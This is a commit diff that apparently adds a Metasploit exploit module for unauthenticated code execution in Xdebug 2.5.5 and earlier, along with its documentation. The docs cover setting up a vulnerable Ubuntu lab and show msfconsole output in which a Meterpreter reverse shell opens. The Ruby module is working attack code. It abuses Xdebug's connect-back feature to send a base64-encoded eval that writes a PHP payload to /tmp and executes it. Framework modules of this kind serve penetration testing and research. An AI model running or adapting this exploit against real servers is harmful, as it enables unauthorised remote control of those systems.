Land #9918, XDebug Unauthenticated OS command execution
parent
173171e2c8
commit
3b8280c33f
|
@ -0,0 +1,127 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[Xdebug](https://xdebug.org/docs-dbgp.php) is an actively-maintained PHP debugging tool that supports remote debugging of server-side PHP code
|
||||
|
||||
This module exploits an unauthenticated vulnerability that allows for the upload of a PHP file and subsequent execution to provide a Meterpreter session back. The module was tested on XDebug version 2.5.5
|
||||
|
||||
The vulnerability was discovered by [Ricter Zheng](https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface) (WARNING: This link is in Chinese. [Google Translate version](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fricterz.me%2Fposts%2FXdebug%3A%20A%20Tiny%20Attack%20Surface))
|
||||
|
||||
|
||||
### Setting up XDebug 2.5.5 on xUbuntu 16.04 x64 Desktop
|
||||
|
||||
Start with a LAMP server:
|
||||
|
||||
```
|
||||
sudo apt update && sudo apt install -y tasksel
|
||||
sudo tasksel install lamp-server
|
||||
```
|
||||
|
||||
Now grab XDebug, specifically the version cited by @MinatoTW:
|
||||
```
|
||||
wget https://xdebug.org/files/xdebug-2.5.5.tgz
|
||||
tar xvzf xdebug-2.5.5.tgz
|
||||
cd xdebug-2.5.5/
|
||||
php -i
|
||||
```
|
||||
|
||||
Paste the contents of your `php -i` output into [the XDebug installation wizard](https://xdebug.org/wizard.php), which gave me the following:
|
||||
|
||||
```
|
||||
sudo apt install -y php7.0-dev
|
||||
phpize && ./configure && make
|
||||
sudo cp modules/xdebug.so /usr/lib/php/20151012/
|
||||
```
|
||||
|
||||
The final step of the wizard is to configure `php.ini`:
|
||||
|
||||
```
|
||||
sudo -s
|
||||
cat >> /etc/php/7.0/cli/php.ini <<EOL
|
||||
zend_extension = /usr/lib/php/20151012/xdebug.so
|
||||
xdebug.remote_enable = 1
|
||||
xdebug.remote_handler = dbgp
|
||||
xdebug.remote_autostart = 0
|
||||
xdebug.remote_connect_back = 1
|
||||
xdebug.remote_port = 9000
|
||||
xdebug.remote_host = 127.0.0.1
|
||||
xdebug.profiler_enable=0
|
||||
xdebug.profiler_enable_trigger=1
|
||||
xdebug.profiler_output_dir="/tmp"`
|
||||
EOL
|
||||
exit
|
||||
```
|
||||
|
||||
Now that the PHP CLI environment is configured, repeat the above steps for the Apache2 configuration:
|
||||
|
||||
```
|
||||
sudo -s
|
||||
cat >> /etc/php/7.0/cli/php.ini <<EOL
|
||||
zend_extension = /usr/lib/php/20151012/xdebug.so
|
||||
xdebug.remote_enable = 1
|
||||
xdebug.remote_handler = dbgp
|
||||
xdebug.remote_autostart = 0
|
||||
xdebug.remote_connect_back = 1
|
||||
xdebug.remote_port = 9000
|
||||
xdebug.remote_host = 127.0.0.1
|
||||
xdebug.profiler_enable=0
|
||||
xdebug.profiler_enable_trigger=1
|
||||
xdebug.profiler_output_dir="/tmp"`
|
||||
EOL
|
||||
exit
|
||||
```
|
||||
|
||||
And restart Apache2 for good measure:
|
||||
```
|
||||
sudo service apache2 restart
|
||||
```
|
||||
|
||||
And now test that XDebug is working:
|
||||
```
|
||||
php -r 'echo xdebug_time_index();'; echo
|
||||
```
|
||||
|
||||
You should see a fairly small number, in my case `4.6014785766602E-5`, which indicates the number of seconds since the php script started, thus the incredibly small number.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use exploits/unix/http/xdebug_rce`
|
||||
- `check`
|
||||
- `set RHOST 192.168.69.2`
|
||||
- `set LHOST 192.168.69.1`
|
||||
- `set VERBOSE true` (optional)
|
||||
- `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### XDebug 2.5.5 on Ubuntu 16.04 with Apache2 2.4.18
|
||||
|
||||
msf5 exploit(unix/http/xdebug_unauth_exec) > check
|
||||
|
||||
[*] 192.168.69.2:80 - Request sent
|
||||
Date: Fri, 27 Apr 2018 21:00:37 GMT
|
||||
Server: Apache/2.4.18 (Ubuntu)
|
||||
Set-Cookie: XDEBUG_SESSION=WIO6hf4Wez; expires=Fri, 27-Apr-2018 22:00:37 GMT; Max-Age=3600; path=/
|
||||
Content-Length: 16
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
|
||||
[+] 192.168.69.2:80 - Looks like remote server has xdebug enabled
|
||||
|
||||
[*] 192.168.69.2:80 The target service is running, but could not be validated.
|
||||
|
||||
|
||||
msf5 exploit(unix/http/xdebug_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.69.1:4444
|
||||
[*] 192.168.69.2:80 - Waiting for client response.
|
||||
[*] 192.168.69.2:80 - Receiving response
|
||||
508<?xml version="1.0" encoding="iso-8859-1"?>
|
||||
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.0.28-0ubuntu0.16.04.1" protocol_version="1.0" appid="28166" idekey="5Gg6S9au8B"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
|
||||
[*] 192.168.69.2:80 - Shell might take upto a minute to respond.Please be patient.
|
||||
[*] 192.168.69.2:80 - Sending payload of size 2098 bytes
|
||||
[*] Sending stage (37775 bytes) to 192.168.69.2
|
||||
[*] Meterpreter session 1 opened (192.168.69.1:4444 -> 192.168.69.2:55506) at 2018-04-27 15:57:58 -0500
|
||||
[+] 192.168.69.2:80 - Deleted /tmp/OLEaK
|
||||
|
|
@ -0,0 +1,114 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Rex::Proto::Http
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'xdebug Unauthenticated OS Command Execution',
|
||||
'Description' => %q{
|
||||
Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.
|
||||
This allows the attacker to execute arbitrary php code as the context of the web user.
|
||||
},
|
||||
'DisclosureDate' => 'Sep 17 2017',
|
||||
'Author' => [
|
||||
'Ricter Zheng', #Discovery https://twitter.com/RicterZ
|
||||
'Shaksham Jaiswal', # MinatoTW
|
||||
'Mumbai' # Austin Hudson
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'],
|
||||
['URL', 'https://paper.seebug.org/397/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'Arch' => [ARCH_PHP],
|
||||
'DefaultTarget' => 0,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Payload' => {
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' => [[ 'Automatic', {} ]],
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),
|
||||
OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
|
||||
OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),
|
||||
Opt::RPORT(80),
|
||||
OptString.new('WriteableDir', [ true, "A writeable directory on the target", "/tmp"])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore["PATH"],
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)
|
||||
}
|
||||
})
|
||||
vprint_status "Request sent\n#{res.headers}"
|
||||
if res && res.headers.to_s =~ /XDEBUG/i
|
||||
vprint_good("Looks like remote server has xdebug enabled\n")
|
||||
return CheckCode::Detected
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
payl = Rex::Text.encode_base64("#{payload.encoded}")
|
||||
file = "#{datastore['WriteableDir']}"+"/"+rand_text_alphanumeric(5)
|
||||
cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("file_put_contents(\"#{file}\",base64_decode(\"#{payl}\")) && system(\" php #{file} \")") + "\x00"
|
||||
webserver = Thread.new do
|
||||
begin
|
||||
server = Rex::Socket::TcpServer.create(
|
||||
'LocalPort' => datastore['SRVPORT'],
|
||||
'LocalHost' => datastore['SRVHOST'],
|
||||
'Context' => {
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
})
|
||||
|
||||
client = server.accept
|
||||
print_status("Waiting for client response.")
|
||||
data = client.recv(1024)
|
||||
print_status("Receiving response")
|
||||
vprint_line(data)
|
||||
print_status("Shell might take upto a minute to respond.Please be patient.")
|
||||
print_status("Sending payload of size #{cmd1.length} bytes")
|
||||
register_file_for_cleanup(file)
|
||||
client.write(cmd1)
|
||||
client.close
|
||||
server.close
|
||||
webserver.exit
|
||||
ensure
|
||||
webserver.exit
|
||||
end
|
||||
end
|
||||
send_request_cgi({
|
||||
'uri' => datastore['PATH'],
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => "#{lhost}",
|
||||
'Cookie' => 'XDEBUG_SESSION='+rand_text_alphanumeric(10)
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue